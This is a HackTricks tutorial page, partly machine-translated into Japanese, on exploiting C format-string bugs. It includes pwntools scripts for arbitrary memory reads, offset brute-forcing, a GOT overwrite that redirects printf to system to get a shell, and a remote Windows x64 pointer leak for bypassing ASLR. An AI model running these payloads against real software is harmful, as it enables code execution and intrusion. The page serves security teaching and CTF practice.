Format Strings

Reading time: 16 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

In C printf is a function that can be used to 出力するために使われる関数です。
この関数が期待する最初のパラメータ書式指定子を含む生のテキストです。
続くパラメータはそのテキスト内の書式指定子を置き換える値になります。

Other vulnerable functions are sprintf() and fprintf().

この脆弱性は、関数の最初の引数として攻撃者が用意したテキストが使われるときに発生します。
攻撃者はprintf format文字列の機能を悪用した特殊な入力を作成することで任意のアドレスからデータを読み取り/書き込み (readable/writable)できるようになります。
この手法により
execute arbitrary code
することも可能になります。

書式指定子:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

例:

  • 脆弱な例:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 通常の使用:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 引数が不足している場合:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf 脆弱性:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

ポインタへのアクセス

書式 %<n>$xn は数値)は、printf に n 番目のパラメータ(stack から)を選ばせるためのものです。したがって、printf を使って stack から 4 番目のパラメータを読みたい場合は、次のようにできます:

c
printf("%x %x %x %x")

そして最初から4番目のパラメータまでを読み取ります。

または、次のようにすることもできます:

c
printf("%4$x")

そして直接4番目を読み取る。

Notice that the attacker controls the printf parameter, which basically means that his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

caution

攻撃者がこの入力を制御できる場合、stackに任意の address を追加し、printf にそれらへアクセスさせることが可能になります。次のセクションでこの挙動の利用方法を説明します。

Arbitrary Read

フォーマッタ %n$s を使うと、printfaddressn position に位置しているものを取得させ、それに従って 文字列として出力(0x00 が見つかるまで出力)させることができます。したがって、バイナリのベースアドレスが 0x8048000 で、ユーザ入力がstackの4番目の位置で始まることが分かっている場合、バイナリの先頭を次のように出力できます:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

入力の先頭にアドレス 0x8048000 を置くことはできません。なぜならそのアドレスの末尾に 0x00 があり、文字列がそこに cat されるからです。

オフセットを見つける

オフセットを見つけるには、4 または 8 バイト(0x41414141)を送り、その後に %1$x を付け、A が返るまで 値を増やす

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

どの程度有用か

Arbitrary reads は次の用途で有用です:

  • Dump the binary from memory
  • Access specific parts of memory where sensitive info が格納されている(like canaries, encryption keys or custom passwords like in this CTF challenge

Arbitrary Write

フォーマッタ %<num>$n は、stack 上の パラメータで指定されたアドレスに、これまでに書き込まれたバイト数を書き込みます。攻撃者が printf で任意の数の char を書き込める場合、%<num>$n を使って任意のアドレスに任意の数値を書き込むことが可能になります。

幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりに、フォーマッタ %.<num-write>%<num>$n を使って、数値 <num-write>stack の num 位置が指すアドレス に書き込むことができます。

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

ただし、通常、0x08049724 のようなアドレス(同時に書き込むには非常に大きな値)を書き込む際は、$n の代わりに $hn が使われます。これにより2バイトだけを書き込むことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。

したがって、この脆弱性により、任意のアドレスに**何でも書き込むことが可能(arbitrary write)**です。

In this example, the goal is going to be to overwrite the address of a function in the GOT table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:

Write What Where 2 Exec

We are going to overwrite a function that receives its arguments from the user and point it to the system function.
As mentioned, to write the address, usually 2 steps are needed: You first writes 2Bytes of the address and then the other 2. To do so $hn is used.

  • HOB is called to the 2 higher bytes of the address
  • LOB is called to the 2 lower bytes of the address

Then, because of how format string works you need to write first the smallest of [HOB, LOB] and then the other one.

HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools テンプレート

この種の脆弱性に対するエクスプロイトを準備するためのテンプレートは、次で見つけられます:

Format Strings Template

あるいは、here にある基本的な例:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

format string vulnerability の書き込み動作を悪用して、スタック上のアドレスに書き込むことで、buffer overflow 型の脆弱性を悪用することが可能です。

Windows x64: Format-string leak to bypass ASLR (no varargs)

On Windows x64では、最初の4つの整数/ポインタ引数がレジスタ(RCX, RDX, R8, R9)で渡されます。多くのバグのある call-sites では、攻撃者制御の文字列が format 引数として使われているが、variadic 引数は提供されていない、例えば:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

可変引数が渡されないため、"%p", "%x", "%s" のような変換は CRT に次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling convention では、"%p" に対する最初の読み取りが R9 から行われます。コールサイトで R9 に入っている一時的な値が出力されます。実際には、これはしばしばモジュール内の安定したポインタ(例: 周辺のコードによって以前に R9 に置かれたローカル/グローバルオブジェクトへのポインタや callee-saved 値)を漏らし、モジュールベースを復元して ASLR を無効化するために使えます。

Practical workflow:

  • 攻撃者が制御する文字列の先頭に、"%p " のような無害なフォーマットを挿入し、最初の変換がフィルタリングより先に実行されるようにする。
  • leaked pointer を取得し、そのオブジェクトのモジュール内での静的オフセットを特定する(シンボルやローカルコピーで一度リバースする)。そしてイメージベースを leak - known_offset として復元する。
  • そのベースを再利用して、ROP gadgets と IAT entries の絶対アドレスをリモートで計算する。

例(簡略化した python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

注意:

  • 差し引く正確なオフセットは、ローカルでのリバース中に一度特定し、それ以降は同じバイナリ/バージョンで再利用します。
  • 最初の試行で"%p"が有効なポインタを出力しない場合は、他の指定子("%llx", "%s")や複数の変換("%p %p %p")を試して、他の引数レジスタ/スタックをサンプリングしてください。
  • このパターンは、Windows x64 calling convention と printf-family の実装に特有で、フォーマット文字列が要求したときに存在しない varargs をレジスタから取得する場合に当てはまります。

この手法は、ASLR が有効で明白なメモリ開示プリミティブがない Windows サービス上で ROP をブートストラップする際に非常に有用です。

その他の例 & 参考

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする